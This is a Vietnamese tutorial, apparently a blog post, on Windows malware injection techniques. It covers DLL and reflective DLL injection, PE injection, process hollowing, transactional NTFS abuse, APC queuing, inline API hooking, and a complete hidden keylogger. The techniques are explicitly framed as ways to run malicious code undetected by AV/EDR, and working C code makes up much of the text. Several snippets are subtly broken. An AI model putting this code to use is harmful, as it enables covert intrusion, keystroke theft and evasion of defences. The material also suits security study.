Đây là phương pháp thực thi mã nhằm tránh bị phát hiện dựa vào việc chạy thread dưới process hợp lệ của hệ điều hành.
Đây là phương thức cổ điển tạo thread trên target process để thực thi LoadLibrary()
với tham số là đường dẫn của dll.
Step1: Mình sẽ lấy 2 tham số đầu vào là đường dẫn và process ID của target process ta muốn inject. Sử dụng OpenProcess
lấy process handle để tương tác với target process.
HANDLE get_proc_handle(LPCSTR path, DWORD pid, SIZE_T *pathLen){
*len = strlen(path);
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
}
int main(int argc, char* argv[]) {
SIZE_T pathLen = 0;
LPCSTR path = LPCSTR(argv[1]); // get abs dll path
HANDLE hProc = get_proc_handle(path, (DWORD)argv[2], &pathLen); // argv[2]-pid of target process.
...
}
Step2: Cấp phát và ghi đường dẫn của DLL ta muốn load vào vùng nhớ của target process.
// +1 for terminate byte
LPVOID pDllPathAddr = VirtualAllocEx(hProc, NULL, pathLen+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pDllPathAddr, path, pathLen+1, 0);
Step3: Xác định entry point và thực thi bằng cách tạo một thread trên target process, LoadLibraryA() với tham số là đường dẫn DLL. Khi đó thread sẽ thực thi DllMain của DLL.
// kernel32.dll để lấy hàm LoadLibraryA
HMODULE hmodule_kernel32_dll = GetModuleHandleA("Kernel32.dll");
FARPROC lpStartAddr = GetProcAddress(hmodule_kernel32_dll, "LoadLibraryA");
HANDLE hLoadThread = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)lpStartAddr, pDllPathAddr, 0, 0);
Đây là kỹ thuật sau khi malicious Dll được đút vào target process sẽ tự thực hiện các thao tác như một windows loader để thực thi ở trên target process.
I: Đầu tiên thực thi 1 file exe có nhiệm vụ:
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress, <------
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
ReflectiveLoader
của injected malicious Dll trong target process (Sử dụng hàm GetReflectiveLoaderOffset
để tính toán offset).
GetReflectiveLoaderOffset
là parse file và tìm đến export directory của file Dll và so sánh với từng chuỗi trong trường AddressOfNames
(mảng chứa địa chỉ trỏ tới tên của các export functions). Giá trị offset này không đổi với từng Dll file, nhưng có thể để hàm này vào để làm đau đầu mấy đứa reverser :v.II: Sau I, hàm ReflectiveLoader
trong target process sẽ được thực thi, hàm này sẽ thực hiện:
1: Tính toán base address của chính nó trong target process. Sử dụng kỹ thuật khá hay ho, hàm caller() sẽ return về địa chỉ của câu lệnh tiếp theo, hay một địa chỉ ở .text section. Ta sẽ quay ngược lại địa chỉ này đến khi tìm được holy magic bytes "MZ".
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
...
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
2: Tính toán địa chỉ của 3 hàm cần thiết: LoadLibraryA
, GetProcAddress
, VirtualAlloc
từ PEB (Process enviroment block) struct.
3: Cấp phát vùng nhớ mới trên target process, và load từng image section vào vùng nhớ này.
4: Chỉnh lại bảng IAT- Sửa địa chỉ các hàm được import tương ứng.
Sử dụng pointers tới hàm GetProcAddress
và LoadLibraryA
đã resolved từ bước trước.
// uiValueB = trỏ tới địa chỉ của import directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// uiValueC = trỏ tới phẩn tử đầu tiên của import directory
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtuaAddress);
// vòng lặp qua các dll được import
while(((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
Ta sẽ dùng bảng INT (import name table) để tìm địa chỉ đúng của các hàm với sự giúp đỡ của LoadLibrary
và sửa lại địa chỉ được trỏ bởi FirstChunk
(IAT-Import Address Table).
ordinal
), nếu không ta sẽ dùng tên function đó.
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// in this time, uiValueD & uiValueA point to same addr
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses (IAT)
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else // ============== RESOLVED FUNCTION ADDRESS VIA FUNCTION NAME
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next DLL import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
5: Rebasing lại Dll file trên vùng nhớ đã cấp phát ở 3:
- Nhiệm vụ của bước này là sửa lại giá trị của một số địa chỉ VA (địa chỉ ảo) (đã bị fixed cứng trong quá trình compiler), khi mà image được load tại địa chỉ khác với trường OptinalHeader.ImageBase
(thường là 0x400000)
- .reloc section (or relocation section) là các block chứa cấu trúc IMAGE_BASE_RELOCATION
, mỗi cấu trúc này chia image (đã được load lên memory) thành các phần 4KB để sửa các giá trị cần fix.
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress; // RVA
DWORD SizeOfBlock;
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
VirtualAddress
sẽ xác định địa chỉ bắt đầu của khối 4KB đó. Trương SizeOfBlock
sẽ xác định block tiếp theo ở đâu. Trong block, ngoài 2 trường trên thì còn lại là mảng các phần tử 2 bytes (WORD), chứa offset đến vị trí cần sửa. Hình dưới đây chứa 2 block (tương ứng cho .text section và .data section).ImageBase + VirtulAddress + (TypeOffset & 0xFFF)
delta
là khoảng cách giữa vị trí load mới của file lên mem và ImageBase mặc định của file.delta = newImageBase - preferredImageBase
6: Cuối cùng sẽ gọi hàm entry point của image mới được load (DllMain với DLL_PROCESS_ATTACH
- khi Dll mới được load vào memory)
Kỹ thuật này inject chính PE file vào process khác và gọi chính nó trong đó, na ná Reflective DLL injection. But it's ezier than Reflective way.
Step1: inject PE file vào target process.
Step2: Tính giá trị delta và rebasing image.
Step3: Tạo một thread trên target process với entrypoint là hàm ta muốn thực thi.
#include <stdio.h>
#include <Windows.h>
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
DWORD InjectionEntryPoint()
{
MessageBoxA(NULL, "HI there!!!", "Hello", NULL);
return 0;
}
int main(int argc, char*argv[])
{
// Lấy địa chỉ base của process hiện tại
PVOID imageBase = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
// Allocate a new memory segment and copy the current PE image to this new memory segment
// NOTE: image PE hiện tại đã được load bởi windows loader, IAT đã được resolved
PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
// Open the target process
HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)atoi(argv[1]));
// Allote a new memory segment in the target process
PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Calculate delta between addresses of where the image will be located in the target process and where it's located currently (current process)
DWORD_PTR delta = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
// Relocate localImage, to ensure that it will have correct addresses once its in the target process
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationEntriesCount = 0;
PDWORD_PTR patchedAddress;
PBASE_RELOCATION_ENTRY relocationRVA = NULL;
while (relocationTable->SizeOfBlock > 0)
{
relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
for (short i = 0; i < relocationEntriesCount; i++)
{
if (relocationRVA[i].Offset)
{
patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
*patchedAddress += delta;
}
}
relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
}
// Write the relocated localImage into the target process
WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);
// Start the injected PE inside the target process
HANDLE hLoadThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + delta), NULL, 0, NULL);
WaitForSingleObject(hLoadThread, INFINITE);
return 0;
}
Ý tưởng của kỹ thuật này là mã độc khởi chạy một process mới từ tệp thực thi trên máy victim (Ex: explorer.exe). Empty/hollow image của tệp thực thi đó trong chính VAS (Virtual Address Space) của nó, thay đổi vùng nhớ vừa rồi thành malicious code.
Khi CreateProcess() được sử dụng:
Khi hoàn thành, hệ điều hành tạo một thread để thực thi code. Thread này sẽ bắt đầu tại EntryPoint của tệp thực thi. Nếu sử dụng flag CREATE_SUSPENDED,quá trình thực thi của thread sẽ bị tạm dừng ngay trước khi chạy lệnh đầu tiên.
CREATE_SUSPENDED (0x4): The primary thread of the new process is created in a suspended state,
and does not run until the ResumeThread() is called.
Sau khi suspended process được tạo, ta có thể truy xuất thông tin về target process bao gồm PEB từ đó lấy được baseAddress của process -> EntryPoint.
Step1: tạo target process bị "treo" với CREATE_SUSPENDED
flag.
CreateProcessA(
(LPSTR)argv[2], // target process path
NULL, NULL,NULL,
TRUE,
CREATE_SUSPENDED,
NULL, NULL,
target_si,
target_pi);
Step2: Làm trống target process.
ZwUnmapViewOfSection
./*
NTSYSAPI NTSTATUS ZwUnmapViewOfSection(
[in] HANDLE ProcessHandle,
[in, optional] PVOID BaseAddress
);*/
Context contx;
GetThreadContext(targetProcHandle, &contx);
// Lấy base address của target process.
PVOID addrBase;
ReadProcessMemory(targetProcHandle,
(PVOID)(contx.Ebx + 8)),
&addrBase,
sizeof(PVOID),
0);
// Hollowing the target process
ZwUnmapViewOfSection(targetProcHandle, addrBase);
Sau khi unmap
Step3: Cấp phát vùng nhớ cho malicious code và fill từng section vào target process tương ứng. Sau đó chỉnh lại các phần tủ trong relocation section.
GetFileSize
.VirtualAlloc
và ReadFile
để load raw malicious file vào vùng nhớ được cấp phát mới.WriteProcesMemory
để ghi lần lượt Header file và các sections.WriteProcessMemory(
target_pi->hProcess,
pTargetImageBaseAddress,
pMaliciousImage,
pNtHeaders->OptionalHeader.SizeOfHeader,
NULL);
for(int i = 0; i < pNtHeaders->OptionalHeader.NumberOfSection; i++){
PIMAGE_SECTION_HEADER sectionEntry = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i*sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(
target_pi->hProcess,
(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress);
(PVOID)((LPBYTE)pMaliciousAddress + pSectionHeader->PointerToRawData);
pSectionHeader->SizeOfRawData, NULL);
}
DWORD delta = pTargetImageBaseAddress - pNTHeader->OptionalHeader.ImageBase;
if (delta) {
IMAGE_DATA_DIRECTORY relocDataDir = pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if ((relocDataDir.Size)) {
PIMAGE_BASE_RELOCATION reloc = (IMAGE_BASE_RELOCATION*)((DWORD_PTR)pMaliciousImage + relocDataDir.VirtualAddress);
while (reloc->SizeOfBlock) {
DWORD relocBlock_VA = reloc->VirtualAddress;
DWORD_PTR reloc_entry = (DWORD_PTR)reloc + sizeof(IMAGE_BASE_RELOCATION);
DWORD entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(DWORD);
for (DWORD i = 0; i < entriesNum; i++) {
BASE_RELOCATION_ENTRY reloc_entry;
// read block entry offset for patched value
DWORD dwBuffer = 0;
ReadProcessMemory(
target_pi->hProcess,
// point to reloc block
(LPVOID)((DWORD_PTR)pTargetImageBaseAddress + relocDataDir.VirtualAddress + sizeof(IMAGE_BASE_RELOCATION) + i*sizeof(WORD)),
&dwBuffer,
sizeof(DWORD),
0);
// update
dwBuffer += delta;
WriteProcessMemory(
target_pi->hProcess,
// point to reloc block
(LPVOID)((DWORD_PTR)pTargetImageBaseAddress + relocDataDir.VirtualAddress + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(WORD)),
&dwBuffer,
sizeof(DWORD),
0);
}
reloc += reloc->SizeOfBlock;
}
}
}
Step4: Đặt lại entrypoint của target process (Mỗi khi có một image mới được nạp vào bộ nhớ thì thanh ghi EAX của luồng bị treo sẽ được đặt là giá trị của entry point (điểm bắt đầu chương trình). Process sau đó được tiếp tục và entry point của image mới sẽ được thực thi) và chuyển trạng thái của process từ suspend -> running (đợi tín hiệu từ hàm ResumeThread
)
// change malicious entrypoint on target process & resume thread
context.Eax = (SIZE_T)((LPBYTE)pHollowAddr + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
// update context of target process
SetThreadContext(target_pi->hThread, &context);
ResumeThread(target_pi->hThread);
NTFS, FAT32, exFAT là các kiểu định dạng hệ thống tập tin (file system) trên Windows. Kỹ thuật này lợi dụng cơ chế của định dạng NTFS: Transactional NTFS (TxF).
Transactional NTFS được tạo ra với mục đích update hay thay đổi file. Giúp file toàn vẹn nhờ cơ chế commit và rollback sau mỗi lần thay đổi của file. Chẳng hạn trong quá trình cài đặt một package nào đó lên máy, hay quá trình update của windows.
Dưới đây là demo đơn giản về quá trình tạo một transaction với đối tượng là một file chưa tồn tại trên ổ đĩa cùng với cơ chế commit và rollback.
#include <Windows.h>
#include <KtmW32.h>
#pragma comment(lib, "KtmW32.lib")
int main() {
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
LPCWSTR filePath = L"D:\\lab\\newFile.txt";
HANDLE hTransactedFile = CreateFileTransacted(filePath,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
2, // CREATE_ALWAYS
0x80, //FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL, NULL);
byte payload[] = "viet";
DWORD dwBytesWritten = 0;
WriteFile(
hTransactedFile,
&payload, (DWORD)sizeof(payload),
&dwBytesWritten,
NULL);
CloseHandle(hTransactedFile);
/*
* nothing gonna happen
RollbackTransaction(hTransaction);
*/
// successfully create & write to file
CommitTransaction(hTransaction);
return 0;
}
Ta có thể tạo 1 file bên trong một transaction để không process khác thấy được file này (cho đến khi transaction được commit). File đó có thể drop và chạy malicious payloads. Sau đó ta sẽ làm cho file này như chưa từng được tạo băng cách rollback transaction này.
Step1: ghi đè file sạch với malicious code.
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0,0, NULL);
Step2: Tạo một section từ transacted file. Như vậy, ta có một section object chứa malicious code.
Step3: Rollback lại transaction, làm transacted file trở về như lúc chưa bị ghi đè.
Step4: Tạo process và tham số để thực thi.
APC (Asynchronous Procedure Calls) của Windows là một hàm cho phép thực thi bất đồng bộ trong một thread cụ thể.
pfnAPC
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
void Papcfunc(ULONG_PTR Parameter)
{...}
Còn một cách khác để thực thi APC, bằng cách lợi dụng NtTestAlert (là hàm kiểm tra hàng đợi APC của thread, nếu có bất kỳ APC nào được xếp trong hàng đợi của thread, hàm sẽ chạy các APC tới khi hàng đợi rỗng).
Trước khi một thread bắt đầu thực thi, NtTestAlert được thực thi
trước tiên
(bên trong ntdll!LdrpInitialize gọi hàm NtTestAlert).
Bằng cách này, ta tạo một process (target process)ở trạng thái suspended, inject code và thêm APC (trỏ tới injected code) vào target process. Để thực thi trước khi bắt đầu process để tránh bị phát hiện bởi AV/EDR hooking.
Tìm đến dịa chỉ API, sửa đổi instruction/code trong api tới hàm mong muốn (eg: jump, …) -> thực thi hàm api gốc.
#include <Windows.h>
#include <iostream>
FARPROC hookedAddr;
char originalBytes[5] = { 0 };
char patch[5] = { 0 };
int HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
// ======== 3. arbitrary code
std::cout << "Say hi from HookedMessageBoxA!!!" << std::endl;
// ======== 4. unpatch instruction become normal
WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedAddr, originalBytes, 5, NULL);
// call original function
return MessageBoxA(hWnd, lpText, lpCaption, uType);
};
int main() {
// ======= 1. Lấy địa chỉ api cần hook
hookedAddr = GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)hookedAddr, originalBytes, 5, NULL);
// ======= 2. Ghi đè 5 opcode đầu hàm api thành jmp tới HookedMessageBoxA
DWORD src = (DWORD)hookedAddr+5;
DWORD dst = (DWORD)HookedMessageBoxA;
DWORD* joffset = (DWORD*)(dst - src);
// build 5 bytes instruction in patch array
memcpy(patch, "\xE9", 1); // jmp
memcpy(patch + 1, &joffset, 4);
WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedAddr, patch, 5, NULL);
// after hooking MessageBoxA function
MessageBoxA(NULL, "hi", "hi", MB_OK);
return 0;
}
là cơ chế một ứng dụng can thiệp vào events (message, bàn phím, trỏ chuột). Tương tự với hàm ta có hook procedure. hook procedure có thể hoạt động với mỗi event nhận được để thay đổi event.
LRESULT CALLBACK HookProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
// process event
...
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Hệ thống hỗ trợ nhiều loại hooks (WH_MOUSE, WH_KEYBOARD_LL, WH_GETMESSAGE…). Mỗi loại cung cấp truy cập vào một cơ chế xử lí message, và mỗi hook chain riêng biệt cho từng loại hook. Một hook chain là một list các con trỏ của hook procedure. Khi một message nhận được với loại hook tương ứng, hệ thống sẽ đưa message đó tới hook procedure trong hook chain tương ứng.
SetWindowsHookEx
:Được dùng để cài đặt một hook procedure vào đầu một hook chain.
HHOOK SetWindowsHookExA(
[in] int idHook, // hook type
[in] HOOKPROC lpfn, // a pointer to the hook procedure
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);
Nếu tham số thứ 4 là 0 thì hệ thống hook mọi thread của các ứng dụng windows (system-wide remote hook).
NOTE: hệ điều hành 64 bit chỉ chạy được với file x64.
Dưới đây là demo keylogger
#include <Windows.h>
#include <stdio.h>
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam)
{
char ch;
if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100)) {
FILE* of;
errno_t err = fopen_s(&of, "c:\\temp\\key.log", "a");
if (wParam == VK_RETURN) {
ch = '\n';
fwrite(&ch, 1, 1, of);
}
else {
KBDLLHOOKSTRUCT* kbhs = reinterpret_cast<KBDLLHOOKSTRUCT*> (lParam);
ch = MapVirtualKey(kbhs->vkCode, MAPVK_VK_TO_CHAR);
fwrite(&ch, 1, 1, of);
}
fclose(of);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main() {
const char* out_filename = "keys.log";
FILE* of;
errno_t err = fopen_s(&of, "c:\\temp\\key.log", "w");
if (err) {
return 1;
}
fclose(of);
HHOOK hHookProc = SetWindowsHookEx(
WH_KEYBOARD_LL, // WH_KEYBORAD_LL
&LowLevelKeyboardProc,
0, 0);
// invisible window
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0);
MSG mes;
while (GetMessage(&mes, NULL, NULL, NULL) > 0) {
}
UnhookWindowsHookEx(hHookProc);
return 0;
}
1. Tại sao force aslr enabled rồi mà tất cả các địa chỉ vẫn giống nhau giữa các lần load lại process?
A. How Dll is shared between processes?
Mỗi process sẽ load một dll độc lập. Nhưng nếu dll cần đã được loaded bởi một proces khác trước đó (đọc từ đĩa vật lý, rebasing, commit). dll sẽ được copy và đặt tại địa chỉ địa chỉ của process trước (nếu vùng địa chỉ này vẫn available).
Directly mapping the DLL file into memory is a small performance benefit since it avoids reading any of the DLL’s pages into physical memory until they are needed. A better reason for preferred base addresses is to ensure that only one copy of a DLL needs to be in memory. Without them, if three programs run that share a common DLL, but each loads that DLL at a different address, there would be three DLL copies in memory, each relocated to a different base. That would counteract a main benefit of using shared libraries in the first place. Aside from its security benefits, ASLR accomplishes the same thing—ensuring that the address spaces of loaded DLLs won’t overlap and loading only a single copy of a DLL into memory—in a more elegant way.
Windows contains an optimisation to save space in RAM-rather than loading that Dll into RAM dozens times, it loads it once and each process refers to that same chunk of RAM.
https://depthsecurity.com/blog/reflective-dll-injection-in-c
https://github.com/stephenfewer/ReflectiveDLLInjection
https://blog.sevagas.com/?PE-injection-explained
https://viblo.asia/p/tim-hieu-ve-process-hollowing-V3m5WRmxlO7